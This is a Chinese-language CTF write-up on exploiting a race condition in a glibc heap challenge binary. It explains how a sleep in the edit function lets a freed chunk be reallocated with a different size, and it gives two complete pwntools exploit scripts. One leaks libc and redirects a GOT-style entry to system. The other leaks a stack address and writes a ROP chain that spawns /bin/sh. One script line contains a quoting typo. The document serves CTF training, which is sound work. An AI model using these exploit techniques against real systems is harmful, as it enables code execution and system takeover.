条件竞争glibc堆的详细讲解
字数 1389 2025-08-22 22:47:30
glibc堆条件竞争漏洞分析与利用详解
前言
条件竞争(Race Condition)是指在并发程序中,多个线程或进程在没有适当同步的情况下访问共享资源,导致程序的行为依赖于执行的顺序。在堆利用中,条件竞争可以导致类似溢出写的漏洞。本文将详细讲解glibc堆条件竞争的利用方法。
程序分析
保护机制
程序开启了所有经典堆题保护机制:
- NX
- PIE
- Canary
- RELRO
数据结构
程序定义了两个关键结构体:
struct chunk_list {
chunk *chunk_ptr;
};
struct chunk {
chunk *chunk_arena_ptr;
int64_t size;
};
功能点分析
-
add功能
- 允许用户传入数据定义size,限制在0x4f-0x68之间
- 在分线程创建两个堆块:
- 一个存放内存堆块的地址
- 一个存放传入的数据
- 将存放内存堆块地址的地址存入主线程chunk_list中
-
show功能
- 通过索引分线程的堆块中存放的内存堆块地址
- 打印内存堆块存放的内容
- 如果能够修改内存堆块的地址,可以实现任意地址读
-
free功能
- 释放两个位置并将指针置为0
- 无UAF漏洞
-
edit功能
- 关键点:包含
sleep(1u)调用 - 在取出size后才进入sleep
- 如果在edit等待期间free掉原来的堆块并创建新的堆块,会导致同样的位置但size改变,从而造成溢出
- 关键点:包含
漏洞原理
条件竞争流程
- 创建一个堆块(如size=0x62)
- 编辑该堆块,在sleep位置暂停1秒(此时size仍为0x62)
- 在sleep期间:
- free掉该堆块
- 创建两个新堆块
- 结果:获得了堆溢出能力,可以覆盖下一个chunk的ptr1来控制地址泄露
关键点
- edit操作中的sleep(1)提供了竞争窗口
- 在sleep期间可以修改堆布局
- 利用size不一致导致溢出
利用方法
方法一:覆盖指针泄露libc
-
泄露libc地址
- 通过调试发现
thread_arena指针离main_arena较近 strncpy使用\x00截断,而地址第三个字节刚好是\x00- 覆盖末尾两字节找到可以泄露libc的地址
main_arena与libc基址相差0x219c80
- 通过调试发现
-
利用步骤
new(b'a'*0x62) edit(0, b'a'*0x60 + b'\xa0\x08') # 覆盖指针 free(0) new(b'a'*0x58) new(b'a'*0x58) pause() sleep(3) show(1) # 泄露libc地址 -
控制执行流
- 观察到rdi可控
strtok和puts函数会调用ABS @got+偏移- 将相关位置替换为system地址,rdi设为
/bin/sh
new(b'a'*0x68) # chunk 2 edit(2, b'b'*0x60 + p64(target_addr)) free(2) new(b'a'*0x58) new(b'a'*0x58) edit(3, b'b'*0x50 + p64(system_addr)) sleep(1) pause() sl(b'/bin/sh')
方法二:泄露栈地址劫持执行流
-
泄露栈地址
- 由于
environ有\x00截断不可用 - 在
_IO_2_1_stdout_下方找到__libc_argv泄露栈地址
new(b'a'*0x68) # chunk 2 edit(2, b'b'*0x60 + p64(target_addr)) free(2) new(b'a'*0x58) new(b'a'*0x58) sleep(2) show(3) rl("paper content: ") stack_addr = h64() + 0x118 - 由于
-
布置ROP链
- 由于
\x00截断,需要分多次写入ROP - 每次写前都要sleep,避免进程乱序影响ROP布置
# 布置pop rdi; ret new(b'a'*0x68) # chunk 4 edit(4, b'b'*0x60 + p64(stack_addr+8)) free(4) new(b'a'*0x58) new(b'a'*0x58) sleep(2) payload = p64(pop_rdi) edit(5, payload) # 布置/bin/sh地址 new(b'a'*0x68) # chunk 6 edit(6, b'b'*0x60 + p64(stack_addr+8*2)) free(6) new(b'a'*0x58) new(b'a'*0x58) payload = p64(bin_sh) sleep(2) edit(7, payload) # 布置pop rdi+1 (对齐) new(b'a'*0x68) # chunk 8 edit(8, b'b'*0x60 + p64(stack_addr+8*3)) free(8) new(b'a'*0x58) new(b'a'*0x58) payload = p64(pop_rdi+1) sleep(2) edit(9, payload) # 布置system地址 new(b'a'*0x68) # chunk 10 edit(10, b'b'*0x60 + p64(stack_addr+8*4)) free(10) new(b'a'*0x58) new(b'a'*0x58) payload = p64(system_addr) sleep(2) edit(11, payload) - 由于
关键注意事项
-
sleep的重要性
- 确保操作顺序正确
- 避免进程执行乱序
- 特别是在show操作前需要sleep确保edit完成
-
\x00截断问题
strncpy会用\x00补齐不足的字节- 不能直接修改目标地址,需要减去偏移(如0x50)
-
指针覆盖精度
- 只能覆盖指针的最后两字节
- 需要找到合适的目标地址
完整利用代码
方法一完整EXP
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./heap"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
# 初始化完成
def new(content):
rl("\n")
sl(b'1'+b' '+content)
def show(num):
rl("\n")
sl(b'2'+b' '+str(num).encode())
def edit(num,content):
rl("\n")
sl(b'3'+b' '+str(num).encode()+b':'+content)
def free(num):
rl("\n")
sl(b'4'+b' '+str(num).encode())
new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(1)
rl("paper content: ")
libc_addr=h64()-0x219c80
log_addr(libc_addr)
libc.address=libc_addr
target_addr=libc_addr+0x219058-0x50
system_addr =libc.sym["system"]
new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
edit(3,b'b'*0x50+p64(system_addr))
sleep(1)
pause()
sl(b'/bin/sh')
inter()
方法二完整EXP
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./heap"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
# 初始化完成
def new(content):
rl("\n")
sl(b'1'+b' '+content)
def show(num):
rl("\n")
sl(b'2'+b' '+str(num).encode())
def edit(num,content):
rl("\n")
sl(b'3'+b' '+str(num).encode()+b:'+content)
def free(num):
rl("\n")
sl(b'4'+b' '+str(num).encode())
new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(1)
rl("paper content: ")
libc_addr=h64()-0x219c80
log_addr(libc_addr)
libc.address=libc_addr
target_addr=libc_addr+0x21aa20
system_addr =libc.sym["system"]
pop_rdi=0x000000000002a3e5+libc_addr
bin_sh = next(libc.search(b'/bin/sh\0'))
log_addr(pop_rdi)
log_addr(pop_rdi+1)
log_addr(system_addr)
log_addr(bin_sh)
new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(3)
rl("paper content: ")
stack_addr=h64()-0x118
log_addr(stack_addr)
new(b'a'*0x68)#4
edit(4,b'b'*0x60+p64(stack_addr+8))
free(4)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
payload=p64(pop_rdi)
edit(5,payload)
new(b'a'*0x68)#6
edit(6,b'b'*0x60+p64(stack_addr+8*2))
free(6)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(bin_sh)
sleep(2)
edit(7,payload)
new(b'a'*0x68)#8
edit(8,b'b'*0x60+p64(stack_addr+8*3))
free(8)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(pop_rdi+1)
sleep(2)
edit(9,payload)
new(b'a'*0x68)#10
edit(10,b'b'*0x60+p64(stack_addr+8*4))
free(10)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(system_addr)
sleep(2)
edit(11,payload)
dbg()
inter()
总结
glibc堆条件竞争漏洞利用的关键在于:
- 识别edit中的sleep(1)提供的竞争窗口
- 利用size不一致导致的堆溢出
- 精心设计指针覆盖以泄露关键地址
- 注意\x00截断和操作顺序问题
- 通过多次操作逐步完成利用链
这种技术在现代CTF比赛中较为常见,理解其原理对于提升堆利用能力有很大帮助。